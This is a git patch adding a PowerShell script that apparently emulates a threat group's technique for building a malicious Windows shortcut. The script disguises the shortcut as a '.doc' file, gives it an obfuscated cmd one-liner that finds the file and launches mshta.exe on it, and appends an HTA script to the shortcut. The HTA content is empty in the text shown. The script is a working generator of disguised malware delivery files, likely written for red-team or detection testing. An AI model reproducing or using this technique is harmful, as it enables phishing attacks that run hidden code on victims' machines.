From 65c9661b21618ec3f406346a60b46156d6291dfe Mon Sep 17 00:00:00 2001 From: Rahmat Nurfauzi Date: Mon, 16 Jan 2023 15:30:20 +0700 Subject: [PATCH] Create Generate-Mustang-Panda-LNK.ps1 --- Generate-Mustang-Panda-LNK.ps1 | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 Generate-Mustang-Panda-LNK.ps1 diff --git a/Generate-Mustang-Panda-LNK.ps1 b/Generate-Mustang-Panda-LNK.ps1 new file mode 100644 index 0000000..8b32bc1 --- /dev/null +++ b/Generate-Mustang-Panda-LNK.ps1 @@ -0,0 +1,33 @@ +# ============================== +# MUSTANG PANDA LNK +# ============================== + +$hta_content = @" + + + + + + + + + +"@ + +Set-Content -Path test.hta -Value $hta_content + +$lnk_final = ".\2021-03-11.doc.lnk" +$lnk_temp = ".\output.lnk" + +$wsh = New-Object -comobject WScript.Shell +$sc = $wsh.CreateShortcut($lnk_temp) +$sc.TargetPath = "%comspec%" +$sc.Arguments = "/c for %x in (%temp%=%cd%) do for /f ""delims=="" %i in ('dir ""%x\$lnk_final"" /s /b') do start m%windir:~-1,1%hta.exe ""%i""" +$sc.Save() +cmd.exe /c copy /b $lnk_temp+test.hta $lnk_final